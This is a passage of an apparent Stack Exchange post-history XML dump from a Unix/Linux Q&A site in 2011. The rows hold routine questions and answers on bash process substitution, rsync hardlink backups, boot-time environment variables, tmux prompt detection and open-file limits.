&quot;s/^\(.*\/\)\(.*\)/\1\2\n\2\n\1/p&quot; \&#xD;&#xA;              |while IFS= read -r line ; do \&#xD;&#xA;                  #&#xD;&#xA;                  #&#xD;&#xA;                  # process the data &#xD;&#xA;                  #&#xD;&#xA;                  #&#xD;&#xA;              done &gt; &quot;$listf&quot; ) \&#xD;&#xA;        &gt;/dev/null&#xD;&#xA;    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xD;&#xA;    ####  WAIT for processes to terminate  &#xD;&#xA;    pids=$(cat &quot;$listf&quot;.pid{1,2})&#xD;&#xA;    while [[ &quot;$pids&quot; == *[0-9]* ]] ; do&#xD;&#xA;       sleep .1 # GNU&#xD;&#xA;       for pid in $pids ; do&#xD;&#xA;          if ! kill -0 &quot;$pid&quot; 2&gt;/dev/null; then&#xD;&#xA;             pids=&quot;${pids/$pid/}&quot;&#xD;&#xA;          fi&#xD;&#xA;       done &#xD;&#xA;    done&#xD;&#xA;    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xD;&#xA;    cat &quot;$listf&quot;&#xD;&#xA;    #&#xD;&#xA;" />
  <row Id="25785" PostHistoryTypeId="5" PostId="10676" RevisionGUID="85af6cb9-47c4-46de-a97c-5d82291c2912" CreationDate="2011-04-05T16:18:37.437" UserId="2343" Comment="added 253 characters in body; added 1 characters in body" Text="It has been 10 hours since I asked the question, and I've worked out a solution... Note: As mentioned in a comment (under the question), `wait` does not work with these processes. I assume that is because these 'process-substitutions' are not 'child' processes, which I believe is what 'wait` waits for. (I used `wait` with no args) .... &#xD;&#xA;  &#xD;&#xA;Comments on its features and failings would be appreciated. I don't quite understand how stdin is picked up by `zenity` and `tr` when `echo` is the first command, but I just thought I'd give it a go... It seems to work (in this case), but is this method safe?   &#xD;&#xA;&#xD;&#xA;There are quite likely to be some well tried and tested methods out there to tackle this, so other answers would be worthwile....&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xD;&#xA;    # Set up flag-files for processes to send PIDs to main process&#xD;&#xA;    # The first thing each process does is: echo -n &quot;$BASHPID &quot; &gt; flag-file  &#xD;&#xA;    for i in {1..2};do cp /dev/null &quot;$listf&quot;.pid$i;done&#xD;&#xA;    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xD;&#xA;    eval locate $zenargs |tee \&#xD;&#xA;        &gt;(echo -n &quot;$BASHPID &quot; &gt; &quot;$listf&quot;.pid1 ; \&#xD;&#xA;          zenity --progress --pulsate --auto-close) \&#xD;&#xA;        &gt;(echo -n &quot;$BASHPID &quot; &gt; &quot;$listf&quot;.pid2 ; \&#xD;&#xA;          tr $'\x60' $X01 \&#xD;&#xA;           |sed -n &quot;s/^\(.*\/\)\(.*\)/\1\2\n\2\n\1/p&quot; \&#xD;&#xA;              |while IFS= read -r line ; do \&#xD;&#xA;                  #&#xD;&#xA;                  #&#xD;&#xA;                  # process the data &#xD;&#xA;                  #&#xD;&#xA;                  #&#xD;&#xA;              done &gt; &quot;$listf&quot; ) \&#xD;&#xA;        &gt;/dev/null&#xD;&#xA;    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xD;&#xA;    ####  WAIT for processes to terminate  &#xD;&#xA;    pids=$(cat &quot;$listf&quot;.pid{1,2})&#xD;&#xA;    while [[ &quot;$pids&quot; == *[0-9]* ]] ; do&#xD;&#xA;       sleep .1 # GNU&#xD;&#xA;       for pid in $pids ; do&#xD;&#xA;          if ! kill -0 &quot;$pid&quot; 2&gt;/dev/null; then&#xD;&#xA;             pids=&quot;${pids/$pid/}&quot;&#xD;&#xA;          fi&#xD;&#xA;       done &#xD;&#xA;    done&#xD;&#xA;    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xD;&#xA;    cat &quot;$listf&quot;&#xD;&#xA;    #&#xD;&#xA;" />
  <row Id="25786" PostHistoryTypeId="2" PostId="10677" RevisionGUID="0349f111-6035-4589-a0ba-6f079b99cfaf" CreationDate="2011-04-05T16:19:43.280" UserId="4671" Text="To answer the original question, I would adjust the permissions after the event. Just copy the file across (doesn't really matter with what permissions) and then change the permissions to match the place where you are copying it to. But in this case, I doubt that what you are trying to do is what you really want to do." />
  <row Id="25787" PostHistoryTypeId="5" PostId="10676" RevisionGUID="9205c3e3-46fb-4918-9084-2b13069b0d20" CreationDate="2011-04-05T16:26:38.193" UserId="2343" Comment="added 16 characters in body; added 1 characters in body" Text="It has been 10 hours since I asked the question, and I've worked out a solution... Note: As I've previously mentioned in a comment (under the question), `wait` does not work with these processes. I assume that is because these 'process-substitutions' are not 'child' processes, which I believe is what 'wait` waits for. (I tried `wait` with no args) .... &#xD;&#xA;  &#xD;&#xA;Comments on its features and failings would be appreciated. I don't quite understand how stdin is picked up by `zenity` and `tr` when `echo` is the first command, but I just thought I'd give it a go... It seems to work (in this case), but is this method safe?   &#xD;&#xA;&#xD;&#xA;There are quite likely to be some well tried and tested methods out there to tackle this, so other answers would be worthwile....&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xD;&#xA;    # Set up flag-files for processes to send PIDs to main process&#xD;&#xA;    # The first thing each process does is: echo -n &quot;$BASHPID &quot; &gt; flag-file  &#xD;&#xA;    for i in {1..2};do cp /dev/null &quot;$listf&quot;.pid$i;done&#xD;&#xA;    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xD;&#xA;    eval locate $zenargs |tee \&#xD;&#xA;        &gt;(echo -n &quot;$BASHPID &quot; &gt; &quot;$listf&quot;.pid1 ; \&#xD;&#xA;          zenity --progress --pulsate --auto-close) \&#xD;&#xA;        &gt;(echo -n &quot;$BASHPID &quot; &gt; &quot;$listf&quot;.pid2 ; \&#xD;&#xA;          tr $'\x60' $X01 \&#xD;&#xA;           |sed -n &quot;s/^\(.*\/\)\(.*\)/\1\2\n\2\n\1/p&quot; \&#xD;&#xA;              |while IFS= read -r line ; do \&#xD;&#xA;                  #&#xD;&#xA;                  #&#xD;&#xA;                  # process the data &#xD;&#xA;                  #&#xD;&#xA;                  #&#xD;&#xA;              done &gt; &quot;$listf&quot; ) \&#xD;&#xA;        &gt;/dev/null&#xD;&#xA;    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xD;&#xA;    ####  WAIT for processes to terminate  &#xD;&#xA;    pids=$(cat &quot;$listf&quot;.pid{1,2})&#xD;&#xA;    while [[ &quot;$pids&quot; == *[0-9]* ]] ; do&#xD;&#xA;       sleep .1 # GNU&#xD;&#xA;       for pid in $pids ; do&#xD;&#xA;          if ! kill -0 &quot;$pid&quot; 2&gt;/dev/null; then&#xD;&#xA;             pids=&quot;${pids/$pid/}&quot;&#xD;&#xA;          fi&#xD;&#xA;       done &#xD;&#xA;    done&#xD;&#xA;    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xD;&#xA;    cat &quot;$listf&quot;&#xD;&#xA;    #&#xD;&#xA;" />
  <row Id="25788" PostHistoryTypeId="2" PostId="10678" RevisionGUID="a99931d2-106f-4991-99cf-245146580a2c" CreationDate="2011-04-05T16:37:13.773" UserId="6286" Text="The problem is solved now. I had made the silly assumption that the key bindings were global when in fact, they are per-user. I had changed the key bindings logged in as root, but was logging into a VNC session created by another user. The 'hide all normal windows...' shortcut was set to 'Mod4+D' for this user. The standard solution - changing it to something else, such as 'Ctrl+Alt+D' - fixed the problem." />
  <row Id="25789" PostHistoryTypeId="2" PostId="10679" RevisionGUID="439a0408-f0d5-4d3e-bb97-b78b8054d119" CreationDate="2011-04-05T16:56:50.087" UserId="3447" Text="I put `/tmp` on a tmpfs, so the contents are stored in RAM instead of on disk.  That wouldn't be useful for `/etc` or `/usr` however.  &#xD;&#xA;&#xD;&#xA;But being able to put different directories on different filesystems could be beneficial; i.e. `/home` on a fast/experimental filesystem like ext4 vs a stable/reliable filesystem like ext2 for `/etc`." />
  <row Id="25790" PostHistoryTypeId="2" PostId="10680" RevisionGUID="34873dc3-868e-4ba6-9e8f-504c33f32667" CreationDate="2011-04-05T17:11:39.533" UserId="4671" Text="Well, the files in `/tmp` are customarily cleaned on reboot, so why not have some script source a file there, something along the lines of &quot;if this file exists, source it&quot;? Then, you can do your initialization in that file as necessary. This could be put in some bash initialization file that is sourced by login in shells like `/etc/profile`. (This assumes you want it to be sourced by interactive shells rather than login shells.)&#xD;&#xA;&#xD;&#xA;However, I'm not really clear about the context. If you could give more details about what you are trying to do, you would get better answers." />
  <row Id="25791" PostHistoryTypeId="2" PostId="10681" RevisionGUID="0553fbf3-bafa-4168-9e0e-827260f0b526" CreationDate="2011-04-05T17:39:05.043" UserId="6312" Text="I'm guessing that  `sudo cp` can't stat `KeePass-2.14.zip` because `$HOME` is on an NFS mount, and the NFS server doesn't grant your machine root permission to the NFS share.&#xD;&#xA;&#xD;&#xA;Try:&#xD;&#xA;&#xD;&#xA;    cp KeePass-2.14.zip /tmp&#xD;&#xA;    sudo cp /tmp/KeePass-2.14.zip /usr/keepass/" />
  <row Id="25792" PostHistoryTypeId="5" PostId="10559" RevisionGUID="ff144981-06ce-41b8-b9a9-0a6c3db4ee2b" CreationDate="2011-04-05T18:04:50.317" UserId="885" Comment="corrected confusion between `man -k` and `man -K`; grammar" Text="In addition to `apropos` (which can also be written `man -k`), a useful command is `man -K key_word` (capital `K`). This searches for a man page with the 'key_word' anywhere in the man page (`man -k` searches only in the short description part). Either way, the result are shown with the section between brackets:&#xD;&#xA;&#xD;&#xA;    [gojan@Gonux ~]$ man -K copy&#xD;&#xA;    ...&#xD;&#xA;    cp (1)               - copy files and directories&#xD;&#xA;    cp (1p)              - copy files&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;You can use this number to avoid ambiguity like:&#xD;&#xA;&#xD;&#xA;    [gojan@Gonux ~]$ man 1 cp&#xD;&#xA;    CP(1)                                                         User Commands                                                         CP(1)&#xD;&#xA;    &#xD;&#xA;    NAME&#xD;&#xA;           cp - copy files and directories&#xD;&#xA;    ...&#xD;&#xA;    [gojan@Gonux ~]$ man 1p cp&#xD;&#xA;    CP(1P)                                                  POSIX Programmer's Manual                                                  CP(1P)&#xD;&#xA;    &#xD;&#xA;    PROLOG&#xD;&#xA;           This  manual  page  is  part of the POSIX Programmer's Manual.  The Linux implementation of this interface may differ (consult the&#xD;&#xA;           corresponding Linux manual page for details of Linux behavior), or the interface may not be implemented on Linux." />
  <row Id="25793" PostHistoryTypeId="25" PostId="10671" RevisionGUID="a411b2ff-d6bd-412d-9a57-72e2296c77a4" CreationDate="2011-04-05T18:09:01.273" Comment="http://twitter.com/#!/StackUnix/status/55331118441959424" />
  <row Id="25794" PostHistoryTypeId="2" PostId="10682" RevisionGUID="ea2db574-ff40-47e5-bfa5-ddd39dff4737" CreationDate="2011-04-05T18:09:14.737" UserId="6208" Text="I use an `rsync`-based backup scheme to maintain daily (and soon weekly and monthly as well) &quot;snapshots&quot; of my file server, using `rsync`'s link-dest feature to store hardlinks between the snapshots for files that haven't changed. This works very well: Backing up more than 330 GB of data, an entire snapshot takes up only 1.5 MB on disk if no files changed.&#xD;&#xA;&#xD;&#xA;Recently a hard drive failure in this server shocked me into the realization of how fragile I am right now -- while I lost no data thanks to these backup snapshots, the backups and the data they back up both live in the same physical box in the office in my apartment; something as simple as a small fire in my apartment building could completely obliterate every last bit (pun intended) of my data!&#xD;&#xA;&#xD;&#xA;I have an off-site location that I could be taking external hard drives to, so I intend to implement a rotating off-site backup wherein I would have one hard drive offline and off-site while a second is plugged in and backing up my snapshots, and I would periodically (e.g. once a week) swap them, so that if the worst does happen I lose at most the last weeks' worth of data.&#xD;&#xA;&#xD;&#xA;Now here's the rub: I want to backup my snapshots, not the data itself, on the external hard drive. (I failed to notice the failed hard drive for a day, so that day's daily snapshot is all but worthless; having additional snapshots, however, is what saved my bacon, and I want that same level of assurance here as well. Note to self: Actually _monitor_ that handy SMART data...) Tried-and-true `cp` won't work because it will see individual files, not hard links, increasing storage needed by 7 fold! `rsync` would work, but I'd like the data on these external drives to be compressed so that I can get away with having smaller drives (I'm targeting 1TB, more than enough for the current 337 GB of data but markedly smaller than the nearly 3TB capacity of my file server; I don't expect to be able to back up all 3 TB to just a 1 TB drive, even with compression, I just want the 1 TB to have a maximum useful lifespan as my data grows).&#xD;&#xA;&#xD;&#xA;So, does anyone know of a method by which I could maintain hard-link associations between the snapshots while also compressing the files I'm backing up? The ideal solution would also support an exclusion list so I could simply skip compressing already-compressed files (.zip, .gz, .mp3, .jpg, etc.).&#xD;&#xA;&#xD;&#xA;Just for absolute clarity, I'm looking for a scheme where a hard-link in /backup/snapshots/daily.1/file1 that points to /backup/snapshots/daily.0/file1 would get copied over to /mnt/external_hdd/snapshots/daily.1/file1 as a hard-link that points to /mnt/external_hdd/snapshots/daily.0/file1, the latter of which (the actual file itself) is now compressed (e.g. gzip)." />
  <row Id="25795" PostHistoryTypeId="1" PostId="10682" RevisionGUID="ea2db574-ff40-47e5-bfa5-ddd39dff4737" CreationDate="2011-04-05T18:09:14.737" UserId="6208" Text="rsync-like tool that supports compression and maintains hardlinks?" />
  <row Id="25796" PostHistoryTypeId="3" PostId="10682" RevisionGUID="ea2db574-ff40-47e5-bfa5-ddd39dff4737" CreationDate="2011-04-05T18:09:14.737" UserId="6208" Text="ébackupà" />
  <row Id="25797" PostHistoryTypeId="2" PostId="10683" RevisionGUID="c4ca34cd-006b-4ce2-bcee-1d042041b079" CreationDate="2011-04-05T18:49:17.487" UserId="2844" Text="See [rdup-simple][1]. You said you wanted compression, but in case you change your mind, I strongly recommend **rsnapshot**.&#xD;&#xA;&#xD;&#xA;By the way, if two hardlinks point to a file, it's the same file. You can't compress only one of the hardlinks since it's the same underlying data in the file-system.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/rdup-simple." />
  <row Id="25798" PostHistoryTypeId="2" PostId="10684" RevisionGUID="ab4b915b-7373-49ff-8ebb-9b6022a7e6c3" CreationDate="2011-04-05T18:59:00.123" UserId="3447" Text="Edit your php.ini file to set the SMTP server settings.  The default settings go to localhost.&#xD;&#xA;&#xD;&#xA;http://www.php.net/manual/en/mail.configuration.php&#xD;&#xA;&#xD;&#xA;**Edit**  &#xD;&#xA;Err... apparently that setting is Windows only according to that document.  I honestly can not wrap my head around PHP's design." />
  <row Id="25799" PostHistoryTypeId="2" PostId="10685" RevisionGUID="2974fef5-709a-4f74-a93a-b5894d11bbb4" CreationDate="2011-04-05T19:32:11.100" UserId="1594" Text="I haven't found any concise explanation of this." />
  <row Id="25800" PostHistoryTypeId="1" PostId="10685" RevisionGUID="2974fef5-709a-4f74-a93a-b5894d11bbb4" CreationDate="2011-04-05T19:32:11.100" UserId="1594" Text="How do I install mono's System.Windows.Forms on Ubuntu?" />
  <row Id="25801" PostHistoryTypeId="3" PostId="10685" RevisionGUID="2974fef5-709a-4f74-a93a-b5894d11bbb4" CreationDate="2011-04-05T19:32:11.100" UserId="1594" Text="éubuntuàémonoà" />
  <row Id="25802" PostHistoryTypeId="2" PostId="10686" RevisionGUID="91cb1427-f148-4faf-ad38-980a8b520502" CreationDate="2011-04-05T19:39:20.100" UserId="885" Text="You could do compression at the filesystem level. However, none of the traditional filesystems on Linux support filesystems, which leaves you with three choices.&#xD;&#xA;&#xD;&#xA;* [Btrfs](http://en.wikipedia.org/wiki/Btrfs), still considered experimental&#xD;&#xA;* [ZFS](http://en.wikipedia.org/wiki/ZFS) (not in the mainline kernel, available as an [add-on](http://zfsonlinux.org/) or [through FUSE](http://zfs-fuse.net/))&#xD;&#xA;* a [FUSE](http://fuse.sourceforge.net/) stackable filesystem [providing compression](http://sourceforge.net/apps/mediawiki/fuse/index.php?title=CompressedFileSystems), such as [FuseCompress](http://code.google.com/p/fusecompress/) or [CompFUSEd](http://www.biggerbytes.be/).&#xD;&#xA;&#xD;&#xA;You'll get a much better compression ratio if you compress a big archive than if you compress many small files separately. So it would be a good idea to use archives on your external media. Just use any archive-using backup software, for example [duplicity](http://www.nongnu.org/duplicity/). You can still browse archives easily with Gnome or KDE virtual filesystems, or with any program through [AVFS](http://avf.sourceforge.net/) (`mountavfs; ls ~/.avfs$PWD/archive.tgz#/path/to/archive/member`).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25803" PostHistoryTypeId="6" PostId="10682" RevisionGUID="0b61d308-db0f-4cca-a0a7-57359a45aba2" CreationDate="2011-04-05T19:39:49.990" UserId="885" Comment="edited tags" Text="ébackupàérsyncàécompressionà" />
  <row Id="25804" PostHistoryTypeId="5" PostId="10683" RevisionGUID="e1eb3da0-74a1-4679-89a2-ae274b553a38" CreationDate="2011-04-05T19:41:57.540" UserId="885" Comment="fixed hyperlink; added hyperlinks" Text="See [`rdup-simple`][1] (from [rdup](http://www.miek.nl/projects/rdup/)). You said you wanted compression, but in case you change your mind, I strongly recommend [**rsnapshot**](http://www.rsnapshot.org).&#xD;&#xA;&#xD;&#xA;By the way, if two hardlinks point to a file, it's the same file. You can't compress only one of the hardlinks since it's the same underlying data in the file-system.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/rdup-simple&#xD;&#xA;" />
  <row Id="25805" PostHistoryTypeId="2" PostId="10687" RevisionGUID="5b0b7286-9935-4df8-973b-a977ccdd955e" CreationDate="2011-04-05T20:04:04.657" UserId="885" Text="Most login methods read environment variables from `/etc/profile`. (There may be other possibilities but this is the easiest to act on.) So if I understand you correctly, you'd like to add an environment variable assignment to `/etc/profile` on the next reboot, and remove it on the reboot after that.&#xD;&#xA;&#xD;&#xA;First, if you don't have that already (some distribution set it up), create a directory called `/etc/profile.d` and add this snippet to `/etc/profile`:&#xD;&#xA;&#xD;&#xA;    for x in /etc/profile.d/*.sh; do&#xD;&#xA;      . &quot;$x&quot;&#xD;&#xA;    done&#xD;&#xA;    unset x&#xD;&#xA;&#xD;&#xA;Create a file containing `export linux_test_run=yes` called `/etc/profile.d/test_run.sh.0`.&#xD;&#xA;&#xD;&#xA;Add the following snippet to `/etc/rc.local` (or some other script that's executed at boot time):&#xD;&#xA;&#xD;&#xA;    for x in /etc/profile.d/*.sh.[0-9]*; do&#xD;&#xA;      n=${x##*.}              # extract the part after the last .&#xD;&#xA;      case n in&#xD;&#xA;        *[!0-9]*) continue;;  # n is not a number, so skip this file&#xD;&#xA;        *[1-9]*) mv &quot;$x&quot; &quot;${x%.*}.$(($n-1))&quot;;; # decrement the number in the file name&#xD;&#xA;        *)     # the file is *.sh.0, so rename to .sh and schedule for deletion&#xD;&#xA;          echo &quot;${x%.*}&quot; &gt;&gt;/etc/profile.d/cancel-on-reboot.list&#xD;&#xA;          mv &quot;$x&quot; &quot;${x%.*}&quot;;;&#xD;&#xA;      esac&#xD;&#xA;    done&#xD;&#xA;    if [ -e /etc/profile.d/cancel-on-reboot.list ]; then&#xD;&#xA;      # rename all files in this list so they won't be considered any longer&#xD;&#xA;      while read -r x; do&#xD;&#xA;        mv &quot;$x&quot; &quot;$x.cancelled&quot;&#xD;&#xA;      done &lt;/etc/profile.d/cancel-on-reboot.list&#xD;&#xA;      rm /etc/profile.d/cancel-on-reboot.list&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;If you'd like to reenable the setting for one reboot, rename it to `*.sh.0`.&#xD;&#xA;" />
  <row Id="25806" PostHistoryTypeId="6" PostId="10667" RevisionGUID="e6ce1ab5-d44e-4d41-afdc-955eaba9e9f0" CreationDate="2011-04-05T20:05:13.317" UserId="885" Comment="edited tags" Text="éshellàébootàéenvironmentövariablesàéprofileà" />
  <row Id="25807" PostHistoryTypeId="2" PostId="10688" RevisionGUID="5321064a-2648-48e0-88ef-77c8dc72ecbe" CreationDate="2011-04-05T20:14:01.787" UserId="1594" Text="I used the native Gnome Monitor Manager (from the System-&gt;Preferences menu) and it worked like a charm." />
  <row Id="25808" PostHistoryTypeId="6" PostId="10631" RevisionGUID="b43bf15f-240a-4f62-a137-e04ca379085e" CreationDate="2011-04-05T20:28:24.807" UserId="885" Comment="edited tags" Text="écommandölineàéclipboardà" />
  <row Id="25809" PostHistoryTypeId="2" PostId="10689" RevisionGUID="6884181c-cb1b-4621-a408-895ec9bea95b" CreationDate="2011-04-05T20:32:36.523" UserId="3649" Text="I like to keep my `bash_profile` in a [git repository][1] and clone it to whatever machines I have shell access to. Since I'm in `tmux` most of the time I have a `user@host` string in the status line, rather than its traditional spot in the shell prompt.&#xD;&#xA;&#xD;&#xA;Not all sites I use have `tmux` installed, though, or I may not always be using it. I'd like my prompt to detect when I'm not within a `tmux` session and adjust my prompt accordingly. So far my half-baked solution in `.bash_profile` looks something like this:&#xD;&#xA;&#xD;&#xA;    _display_host_unless_in_tmux_session() {&#xD;&#xA;        # ???&#xD;&#xA;    }&#xD;&#xA;    export PROMPT_COMMAND='PS1=$(_display_host_unless_in_tmux_session)${REST_OF_PROMPT}'&#xD;&#xA;&#xD;&#xA;(Checking every time probably isn't the best approach, so I'm open to suggestions for a better way of doing this. Bash scripting is not my forte.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/brantb/dotfiles" />
  <row Id="25810" PostHistoryTypeId="1" PostId="10689" RevisionGUID="6884181c-cb1b-4621-a408-895ec9bea95b" CreationDate="2011-04-05T20:32:36.523" UserId="3649" Text="How can I tell if I'm in a tmux session from a bash script?" />
  <row Id="25811" PostHistoryTypeId="3" PostId="10689" RevisionGUID="6884181c-cb1b-4621-a408-895ec9bea95b" CreationDate="2011-04-05T20:32:36.523" UserId="3649" Text="ébashàépromptàétmuxà" />
  <row Id="25812" PostHistoryTypeId="2" PostId="10690" RevisionGUID="4f59629d-fbc3-4e07-a743-c0caac6d8bac" CreationDate="2011-04-05T20:41:29.390" UserId="885" Text="Tmux sets the `TMUX` environment variable in tmux sessions, and sets `TERM` to `screen`. This isn't a 100% reliable indicator (for example, you can't easily tell if you're running `screen` inside `tmux` or `tmux` inside `screen`), but it should be good enough in practice.&#xD;&#xA;&#xD;&#xA;    if ! { [ &quot;$TERM&quot; = &quot;screen&quot; ] &amp;&amp; [ -n &quot;$TMUX&quot; ]; } then&#xD;&#xA;      PS1=&quot;@$HOSTNAME $PS1&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;If you need to integrate that in a complex prompt set via `PROMPT_COMMAND` (which is a bash setting, by the way, so shouldn't be exported):&#xD;&#xA;&#xD;&#xA;    if [ &quot;$TERM&quot; = &quot;screen&quot; ] &amp;&amp; [ -n &quot;$TMUX&quot; ]; then&#xD;&#xA;      PS1_HOSTNAME=&#xD;&#xA;    else&#xD;&#xA;      PS1_HOSTNAME=&quot;@$HOSTNAME&quot;&#xD;&#xA;    fi&#xD;&#xA;    PROMPT_COMMAND='PS1=&quot;$PS1_HOSTNAME…&quot;'&#xD;&#xA;&#xD;&#xA;If you ever need to test whether tmux is installed:&#xD;&#xA;&#xD;&#xA;    if type tmux &gt;/dev/null 2&gt;/dev/null; then&#xD;&#xA;      # you can start tmux if you want&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;By the way, this should all go into `~/.bashrc`, not `~/.bash_profile` (see [Difference between .bashrc and .bash_profile](http://superuser.com/questions/183870/difference-between-bashrc-and-bash-profile/183980#183980)). `~/.bashrc` is run in every bash instance and contains shell customizations such as prompts and aliases. `~/.bash_profile` is run when you log in (if your login shell is bash). Oddly, bash doesn't read `~/.bashrc` in login shells, so your `~/.bash_profile` should contain&#xD;&#xA;&#xD;&#xA;    case $- in *i*) . ~/.bashrc;; esac&#xD;&#xA;" />
  <row Id="25813" PostHistoryTypeId="2" PostId="10691" RevisionGUID="a39a682f-50d7-48d3-860c-7cb0495e7950" CreationDate="2011-04-05T20:50:16.407" UserId="1594" Text="Found it via [this link][1]:&#xD;&#xA;&#xD;&#xA;    % apt-get install libmono-winforms1.0-cil libmono-winforms2.0-cil&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.builderau.com.au/program/dotnet/print.htm?TYPE=story&amp;AT=339279567-339028399t-320002019c&#xD;&#xA;" />
  <row Id="25814" PostHistoryTypeId="2" PostId="10692" RevisionGUID="7755a1f8-0762-453e-99c6-242e14c6501a" CreationDate="2011-04-05T20:56:45.830" UserId="1297" Text="I'm used to working on systems where `which` would list aliases, so e.g. if I have an alias like this:&#xD;&#xA;&#xD;&#xA;    alias foo=/path/to/executable&#xD;&#xA;&#xD;&#xA;Then I get meaningful output from `which foo`. (From memory it's something like `alias: /path/to/executable`).&#xD;&#xA;&#xD;&#xA;On my Macbook Pro (Snow Leopard) this doesn't work. I seem to recall it's non-standard and needs an alias of its own (on `which`) to work, but I've forgotten the details. Can anyone point me in the right direction please?&#xD;&#xA;&#xD;&#xA;(I'm a bash man if that makes any difference to your answer.)" />
  <row Id="25815" PostHistoryTypeId="1" PostId="10692" RevisionGUID="7755a1f8-0762-453e-99c6-242e14c6501a" CreationDate="2011-04-05T20:56:45.830" UserId="1297" Text="How do I get which to show aliases?" />
  <row Id="25816" PostHistoryTypeId="3" PostId="10692" RevisionGUID="7755a1f8-0762-453e-99c6-242e14c6501a" CreationDate="2011-04-05T20:56:45.830" UserId="1297" Text="éshellàéaliasàéwhichà" />
  <row Id="25817" PostHistoryTypeId="2" PostId="10693" RevisionGUID="76c7aa0c-af3f-465f-a7ec-a7691b7a8292" CreationDate="2011-04-05T20:58:43.873" UserId="5325" Text="I would use `type` instead of `which`, because `which` is unreliable (as you noticed; unless it's a shell builtin, it has to guess at your environment)." />
  <row Id="25818" PostHistoryTypeId="2" PostId="10694" RevisionGUID="0ba9e29d-ac46-457d-8e67-97dafe3297ef" CreationDate="2011-04-05T21:03:20.050" UserId="885" Text="Most systems use [PAM](http://en.wikipedia.org/wiki/Pluggable_Authentication_Modules), and have the `pam_limits` module set limits based on `/etc/security/limits.conf`. The per-user limit for open files is called `nofile`. You can set it for every user or for a particular user or group, and you can set a limit that the user can override (soft limit) and another that only root can override (hard limit). The [documentation](http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_limits.html) and the `limits.conf` man page have the details. For example, to raise the limit to 50000 for everyone, put this line in `/etc/limits.conf` (the setting takes effect when you log in):&#xD;&#xA;&#xD;&#xA;    * - nofile 50000&#xD;&#xA;" />
  <row Id="25819" PostHistoryTypeId="6" PostId="10639" RevisionGUID="a1f8dcf8-dc19-4deb-860d-512b8b623db3" CreationDate="2011-04-05T21:03:42.327" UserId="885" Comment="edited tags" Text="éopenöfilesàélimità" />
  <row Id="25820" PostHistoryTypeId="25" PostId="10689" RevisionGUID="5438127b-2e5e-4814-9a0c-d0332a418a9d" CreationDate="2011-04-05T21:09:01.477" Comment="http://twitter.com/#!/StackUnix/status/55376417487208448" />
  <row Id="25821" PostHistoryTypeId="2" PostId="10695" RevisionGUID="0bdecfaa-7b61-4a50-9713-76666e7ae49f" CreationDate="2011-04-05T21:25:42.410" UserId="1594" Text="I tried `shutdown -f now`, thinking it will do a full power off sequence.&#xD;&#xA;Instead, it ends with &#xD;&#xA;&#xD;&#xA;&gt; *Checking battery state...&#xD;&#xA;&#xD;&#xA; and just hangs there.&#xD;&#xA;&#xD;&#xA;Should I add `-h` switch to fully take power off, or is there some other problem?" />
  <row Id="25822" PostHistoryTypeId="1" PostId="10695" RevisionGUID="0bdecfaa-7b61-4a50-9713-76666e7ae49f" CreationDate="2011-04-05T21:25:42.410" UserId="1594" Text="Do I need to halt in order to really turn power off?" />
  <row Id="25823" PostHistoryTypeId="3" PostId="10695" RevisionGUID="0bdecfaa-7b61-4a50-9713-76666e7ae49f" CreationDate="2011-04-05T21:25:42.410" UserId="1594" Text="éubuntuàéshutdownà" />
  <row Id="25824" PostHistoryTypeId="2" PostId="10696" RevisionGUID="14513b07-65d2-4fb7-8f54-ecb8c28f8a54" CreationDate="2011-04-05T21:44:44.337" UserId="885" Text="So you're looking for a package containing a file called `System.Windows.Forms.dll`. You can search:&#xD;&#xA;&#xD;&#xA;* on your machine: `apt-file search System.Windows.Forms.dll` (the [`apt-file` package](http://packages.ubuntu.com/apt-file) [![Install apt-file](http://bit.ly/software-small)](http://apt.ubuntu.com/p/NAME) must be installed)&#xD;&#xA;* online: at [packages.ubuntu.com](http://packages.ubuntu.com/#search_contents) (be sure to tick).&#xD;&#xA;&#xD;&#xA;Both methods lead you to [`libmono-winforms1.0-cil`](http://packages.ubuntu.com/maverick/libmono-winforms1.0-cil) and [libmono-winforms2.0-cil](http://packages.ubuntu.com/maverick/libmono-winforms2.0-cil) (on maverick).&#xD;&#xA;" />
  <row Id="25825" PostHistoryTypeId="6" PostId="10685" RevisionGUID="796656f6-39a5-486d-a75f-e813d50682cf" CreationDate="2011-04-05T21:45:49.140" UserId="885" Comment="edited tags" Text="éubuntuàépackageömanagementàésoftwareöinstallationàémonoà" />
  <row Id="25826" PostHistoryTypeId="6" PostId="10634" RevisionGUID="87878638-0233-4cba-9792-d16604b2eda7" CreationDate="2011-04-05T21:58:54.657" UserId="885" Comment="edited tags" Text="élinuxàékernelàévideoà" />
